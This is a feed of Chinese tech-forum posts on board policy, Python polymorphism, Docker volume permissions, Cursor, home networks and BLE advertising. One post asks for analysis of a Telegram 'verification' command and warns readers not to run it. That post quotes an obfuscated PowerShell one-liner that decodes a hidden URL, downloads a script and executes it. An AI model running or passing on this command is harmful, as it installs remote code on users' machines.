Reading view

There are new articles available, click to refresh the page.

应如何定义"分享创造"

jqknono:

本站看到有人对分享的理解是:

你看到了某个好用的软件,分享给别人,不涉及任何的个人利益(包括无 aff )

对创造的理解是:

我自己造了款软件,开源,不获利,顺手给大家用

以我对人性的浅显理解, 天下本无事, 无利不起早.

[创造推广] : 自卖自夸+软文+引流+恰饭

按这样理解, Product Hunt 得天天被拉出来批斗.

另外开源库是否都纯免费, 是否毫无获利? 我贡献了十次有效 PR, 按工时算有几千块. 更不用说还有更多的 issues, 原本应该是测试的活, 无偿替开源库干了, 算不算开源库的获利?

如果是分享自己的产品, 成本主要在开发, 主要从产品获利.
如果是分享他人作品, 通常是做个人 IP, 念项目 readme 跑 demo, 成本通常在文案撰写和视频制作上, 以商单和私货获利.

不接受自推荐, 但接受个人 IP 或自来水的推荐, 那么怎么分辨是否商单, 还是不管三七二十一先@Livid 了再说?

设身处地的想, 可能是认为纯推广的信息墙太高, 通常主要在介绍它的产品, 或者只介绍优势而不介绍劣势, 容易引人误判, 而网络服务总有替代品, 我们希望能有更全面的对比, 也就是做横评, 而不是单品测评.

我的 saas 服务被两个用户推过, 都是真正的三者视角, 典型特征是文章里很多内容都是其它东西. 一位是做个人 IP, 每几天发一个网络产品的评测, 一篇文章发很多平台. 该用户是真金白银的买付费服务, 然后各种网络工具狂测, 我的服务在他的评测里赢了, 最后留做了日常服务. 该个人 IP 引的流(根据时间推测)下手就是年费, 非常高质量, 文章的效果比我自己推的效果好非常多, 猜测很可能是因为该文章有横评.
另一位是纯自来水, 只在知乎活动, 长文主要介绍自己的网络折腾史, 顺嘴提了下我的, 是真正的纯分享, 但文章本质是一篇流水账日记, 未引到多少流.

我是不喜欢个人 IP 的, 尤其是发现文章看到一半要买课, 相信会有人会赞同技术产品的官文文档是最好的, 但也会有人学习技术的方式是找老师找课, 个人 IP 可能有一天也会开始卖课, 真的有很多人喜欢听课, 而不喜欢 search && sort, 不喜欢看 doc, 更不用说看 issues 了, 没有人会说这个项目很有想象力, 只要解决剩下的 2k issues 就可以开赚.

结合个人经验, 与其区分[创造推广][纯分享](技术大善人)板块, 不如加个[产品横评]板块, 流量高, 可能也不会太招反感. 不知大家觉得如何?

另外, 技术长文难写, 单品就不容易写, 横评更不容易, 费时费力还得真的动脑子, 横评标准总被各路智者挑战. 质疑"变量控制", 质疑"室温变化, 网络波动", 要补全程 4k 录像, 质疑动机, 质疑利益相关, 要自证清白, 最后的最后回到一开始所说, 空手套白狼, 庸人自扰之.

《 Python 工匠》中多态的使用有一些疑惑

shinonome:

文中给了一个案例

class FancyLogger:
    """日志类:支持向文件、Redis 、ES 等服务输出日志"""

    _redis_max_length = 1024

    def __init__(self, output_type=OutputType.FILE):
        self.output_type = output_type
        ...

    def log(self, message):
        """打印日志"""
        if self.output_type == OutputType.FILE:
            ...
        elif self.output_type == OutputType.REDIS:
            ...
        elif self.output_type == OutputType.ES:
            ...
        else:
            raise TypeError('output type invalid')

    def pre_process(self, message):
        """预处理日志"""
        # Redis 对日志最大长度有限制,需要进行裁剪
        if self.output_type == OutputType.REDIS:
            return message[:self._redis_max_length]

FancyLogger 类在日志输出类型不同时,需要有不同的行为。因此,我们完全可以为“输出日志”行为建模一个新的类型:LogWriter ,然后把每个类型的不同逻辑封装到各自的 Writer 类中。

class FileWriter:
    def write(self, message):
        ...
        

class RedisWriter:
    max_length = 1024

    def write(self, message):
        message = self._pre_process(message)
        ...

    def _pre_process(self, message):
        """Redis 对日志最大长度有限制,需要进行裁剪"""
        return message[:self.max_length]


class EsWriter:
    def write(self, message):
        ...

基于这些不同的 Writer 类,FancyLogger 可以简化成下面这样:

class FancyLogger:
    """日志类:支持向文件、Redis 、ES 等服务输出日志"""

    def __init__(self, output_writer=None):
        self._writer = output_writer or FileWriter()
        ...

    def log(self, message):
        self._writer.write(message)

文中对这样的写法好处解释为 代码利用多态特性,完全消除了原来的条件判断语句。另外你会发现,新代码的扩展性也远比旧代码好。

但是在我看来, 你要传什么 output_writer 不还是要通过 if 来选择吗, 只是把一个地方的 if 换到了另外一个地方,

扩展性 这个模块看起来确实好了, 但是总感觉和上面一样, 这里提高了, 但是其他地方就要更多 if, TVT, 面向对象还是没有入门

如何做个梦

AS4694lAS4808:

这一年每天都是睡着以后一睁眼就天亮了,完全没有做梦的体验,感觉睡觉的时间都浪费了,也没有在梦里想干什么就干什么的快乐了。。

求问干什么能开始做梦?

Cursor 既然如此高效, 未来会对行业有怎样的影响?

vincentWdp:

在 v 站看到不少人用 cursor 实现了他们的各种想法, 用几天甚至半天就可以完成一个产品的初版上线.

我自己 cursor 用下来, 也确实少了很多体力劳动, 切身感受到了生产力革新. 省下来的时间可以研究更有意思的事情上了.

所以, 未来几年(也许三四年), 需要编程的工作会变成啥样? 靠代码完成的产品又会变成啥样?

将来有想法而且可以实现的人越来越多, 对云计算的需求也会更大, 这方面的事情又将会是什么样的景象?

cursor 官网崩了

mumbler: 早上还可以用,突然不能工作了,登录看会员掉了,淘宝买了个也不能用,问了几个淘宝卖家都说没货了,再登录 503 了

[unavailable] HTTP 503

docker 卷权限问题请教

FaiChou:
services:
  app:
    build: .
    ports:
      - "3210:3210"
    env_file:
      - .env
    volumes:
      - ./prisma:/app/prisma
      - ./logs:/app/logs

项目中有这样的一个 docker-compose 文件,在 Docker 内会对这个 prisma 和 logs 进行读写。

正常来讲不使用 root 用户 pull 下来这个项目,然后就不会遇到权限问题。

但是如果是用 root 进行 git pull ,然后两个目录的组和用户都变成 root 了,这会导致 Docker 内读写这两个目录有权限问题。即使在 Dockerfile 内创建响应的用户和组,加上 777 权限也不行,因为它是外部的卷。无法更改权限。

所以这种应该怎么处理?

macmini 外接显示器黑屏有人遇到过吗?

cjban: 主机:m4 mac mini
链接方式:typec
从睡眠中恢复的时候有概率黑屏,感觉像是 finder 卡了,桌面背景为黑色、无背景,图标都还在就是点击无反应,等个几分钟自己就恢复了,概率复现。
请问原因为何以及如何解决?

Window 网络代码分析 | 请不要轻易在自己电脑尝试

andyiac:

有没有 window 高手帮忙看下这个代码干了啥

powershell -c $r='0hHducWaatGe6ZTOvw0doZ1Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); 

昨天一个 Telegram 群要验证是否是真人,提供了上面代码,让用户复制粘贴 Win+R 运行,问了下 chatgpt 提示说是执行了一段网络代码,具体是干什么不熟悉 Window 编程没能搞出来。

有没有 Window 高手帮忙看下这代码到底是干啥了,是否有危险操作。

不清楚风险请不要轻易在自己电脑尝试

不清楚风险请不要轻易在自己电脑尝试

不清楚风险请不要轻易在自己电脑尝试

想问一下这个家庭网络设置的合理吗

ming995:

这是家庭网络拓扑图

拓扑图

说明

  • 目前接入移动 2000M 光纤
  • 家庭网是家庭其他成员使用,加上访客网络控制
  • 工作网络为 OP 使用
  • 工作网络的路由器使用小米 AX3000 和 AX3000T 组成 mesh 网络
  • 家庭网络使用华为的路由器另外使用 TPLINk 组了无线桥接作为扩展的信号覆盖范围

想让 V 的大佬们给出一些改进的建议,或者后续升级的一些方案,[抱拳.jpg]

小创业公司,需要带实习生出差去客户那边,问我安全是否有保障 我该怎么做?

nihaojob:

这两天咱谈的客户在广东,需要去工厂了解一下实际情况,然后再进行下一步的合作,实习生没有出过远门,问我他们家人可能不同意,我需要做什么呢?

北漂很多年,之前也是到处出差,第一次被问到这样的问题,不知道怎么回答好,有没有有经验的老板或者 HR 能给支支招? 从管理上我们也学习借鉴一下。

都是男性哦,不要想歪

自带的词典挺有意思的

ztstillwater:

用中英词典查询“媳妇”这个单词,会出现两个条目:

第一个:

媳妇 xífù
noun
① (儿子的妻子) daughter-in-law
② (晚辈亲属的妻子) wife of a relative of the younger generation
▸ 孙媳妇
grand-son’s wife
▸ 侄媳妇
nephew’s wife

第二个:

媳妇儿 xífur
noun dialect
① (妻子) wife
▸ 娶媳妇儿
take a wife
▸ 她是我媳妇儿。
She is my wife.
→ 小媳妇儿
② (年轻已婚女子) young married woman

话说我自己都不知道,加一个“儿”字意思就变了。

Microsoft 为什么要默认保持 Web 端账户登陆状态?

mangoDB:

最近在使用网页版Outlook时发现页面有一行提示「你的登录体验即将更改 除非使用专用浏览或显式注销,否则你将保持登录状态」,了解详情后发现微软给出了如下说明:

使用 Microsoft 帐户登录到任何产品或服务时,Web 浏览器登录体验会发生变化。 从 2025 年 2 月开始,除非注销或使用专用浏览,否则将自动保持登录状态。

也就是说,除非用户主动 logoff 或使用浏览器的无痕模式,否则浏览器中的 Microsoft 账户将会一直保持登陆状态。

为什么微软会做出这种改变?放弃在登陆窗口中让用户选择「是否保持登陆」的选项。

longshot20250124110941.png

Cursor:你值得更好的帖子

lucasj:

「用 Cursor 半小时做了个网站」这类的帖子意义已经不大了,像是一种情绪化的帖子。现在 Cursor 已经人人皆知,希望大家用平常心看待 Cursor 。

我希望各位大佬多发点这种帖子:如何调教 Cursor ?如何用 Cursor 更快更好地做出一个网站?

焕新版 model y 内饰今天解禁了,转向灯拨杆已经确定加回来了。

xtx: 内饰确实一如既往的朴素,加回转向灯拨杆属于是教育用户失败了,焕新 3 疑成最大🤡。
去试驾过新 3 ,其实屏幕换挡我都能还能适应,毕竟窄路调头这种场景还是比较少的,而且换挡一定是在低速场景下,看下屏幕也无大碍。但是方向灯按键实在是 nc 设计,有时转弯转到一半,需要补打方向灯,方向盘没回正,甚至分不清哪个是左灯哪个是右灯。
感觉新版内饰提升还是不少的,估计还是会大卖。

希望渺茫的人生

beyondstars:

现状:

  1. 就业市场环境差,自身学历也差;
  2. 工作无挑战性也无法使能力提升,三个月足以上手,后边都是在重复这三个月的经验;
  3. 无年终奖,没有盼头;
  4. 只能租很远的房子,下班回到家会很累,自习效率很低;
  5. 高消费,攒不下💰;

一条看不到尽头的死路,就像已经死了一样,路越走越窄,变好希望越来越渺茫,等于说慢性自杀吧。

我预测会有杠精在下边说「公司不是学校,上班不是让你来学习的」,可是人需要有能力提升的机会和环境,失业之后,还是要靠自己的本领找到工作,你什么都不会有人要你吗?另外,公司确实有一些有挑战性有提升的工作,不过那不会分配给你。

还会有人继续抬杠「你以为你有技术就好找工作了吗」,有技术不一定代表能找到好工作,但是没技术也没人脉就只能,就百分百确定,只能做低端的工作。待遇差,提升空间低,恶性循环。

不知道每天这样低水平的重复,开发一个又一个狗屎 demo ,一年到头来也没有年终奖,意义是什么?产品是公司的生命线,市场对于公司的产品根本不买账,全靠老板自己过往累计的人脉骗他们去买,做吃山空。

我也不是无病呻吟,反正公司也有的人技术部门的人也是这样,你跟他说什么都不懂。

所以我认为,程序员唯一的护城河,只能是储蓄和老家的房子?毕竟不是所有人都有好的学历和能够在工作中得到提升和成长。

微信强制提示密码错误

lsvl:

又被微信恶心到了,我现在很确定微信的密码没有啥用,只要他不想让你用密码登录,就会给你提示密码错误。

我设置过很多次密码,但是从来没用密码登录过,因为根本没机会用... 这玩意几百年不会退出登录,等退出重登的时候就会提示你密码错误了,必须用验证码登录。

因为我所有密码都是使用密码管理软件,所以肯定不存在记错/输错密码的情况,而且不是第一次遇到这种情况了,是每次我想使用密码登录的时候,都会提示我密码错误。(还是如前面所说,通常很久可能才会重登一次。另外我倒是试过短时间内重新登录,还是可以用密码的)

我寻思微信你不想让人用密码登录你可以不设置这个功能的嘛,又或者你就搞个提示当前环境异常不能用密码登录又能咋样。现在这感觉就好像把用户当傻子一样,我说你密码不对你就是密码不对

哦补充一下,还有一个铁证,同一个账号密码我在一台手机上可以登录,在另一台手机上就提示密码错误了

电信 坐标 0755, 请教下 V 们有没有公网变成 NAT4+100.64 大内网的

baysonfox:

2024/11 突然发现本来正常使用的动态公网突然被收回成了大内网
但人当时不在宽带所在地区(当时在四川)于是临时起了个 Tailscale+用 v6 凑合了下
前不久回 0755 跟电信客服反馈此事,被直接丢给装维处理

从装维处得知在 2024/11/7 被打了一个大流量,跨网,跨省的 TAG ,公网被收回,但装维表示此 TAG 已经解除
但现在拨号依然拿到的还是大内网,用 NatTypeTester + https://mao.fan/mynat 得到的结果依然是 NAT4.

主要用途是 NAS+PT ,不存在 PCDN 之类的用途,也并没有被要求签承诺书之类的文件
光猫改了桥接,路由器拨号

OpenWrt+NAT 测试截图

家里三台机器跑 geekbench

guoguobaba:

台式机 R7 5800, 单核 2119 , 多核 9957

笔记本 R9 7945HX ,单核 2714 , 多核 15550 ,野兽模式单核 2741 ,多核 15939

新买的 MBP M4PRO ,单核 3906, 多核 20317

看了一下 7945HX 是目前 x86 笔记本 cpu 的天花板啊

用 c++实现 bluez 对于 31 个字节蓝牙广播限制的问题

dy416394356y78: 各位大佬好,现遇到一个问题,恳请大家指一条明路

我的需求:我的板子开机后会蓝牙广播,app 接收广播后可以直接识别该板子的型号,目前已经广播的数据有标志位,UUID 和蓝牙广播名字,已经占用了 29 字节,我查到蓝牙广播限制 31 个字节,我直接拼接在数据后面广播,nRF 会直接报 none ,即能扫描到但是没有数据

目前我的蓝牙模块是 4.1 的 hci ,不支持拓展数据
查到网上可以使用分包,或者加入扫描数据中,但是这样都无法在广播的时候,接收方就立刻收到数据进行识别,分包需要收到两个包,而加入扫描数据需要收到广播建立连接后才可以

还有没有什么别的办法?

感谢。
❌